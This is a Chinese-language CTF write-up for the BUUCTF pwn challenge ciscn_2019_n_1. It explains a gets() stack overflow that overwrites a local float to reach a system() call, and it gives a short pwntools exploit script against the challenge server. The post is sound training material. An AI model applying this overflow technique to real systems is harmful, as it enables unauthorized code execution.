week1 T4


T4 ciscn_2019_n_1

2023-01-08WP
BUUCTF pwn第四题

0x01

file,chekcsec——64-bit,开启NX

0x02

IDA中main函数没啥有用的,看到还有一个fun函数

点进去看发现有个gets函数,可能存在栈溢出,同时发现if ( v2 == 11.28125 )时调用system函数,所以想到输入来使v2的值等于11.28125
但是gets读入的时v1而不是v2,所以又想到让v1溢出,使溢出的值为11.28125并让它成为v2的值
于是进去查看v1v2的地址


计算得长度为44h

0x03

exp

from pwn import *
p=remote('node4.buuoj.cn',25907)
payload=b"a"*44+p64(0x41348000)#0x41348000是11.28125的十六进制数
p.sendline(payload)
p.interactive()          

直接写11.28125好像没用……

网上看到一篇博客是直接从IDA中找十六进制数的
pwn得flag
还有一种方法就是直接覆盖v1v2,让返回地址指向调用system函数的地址0x4006BE

这就让我有一些疑惑:就这一题来说,开启了NX有没有让题目难度增加呢?


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录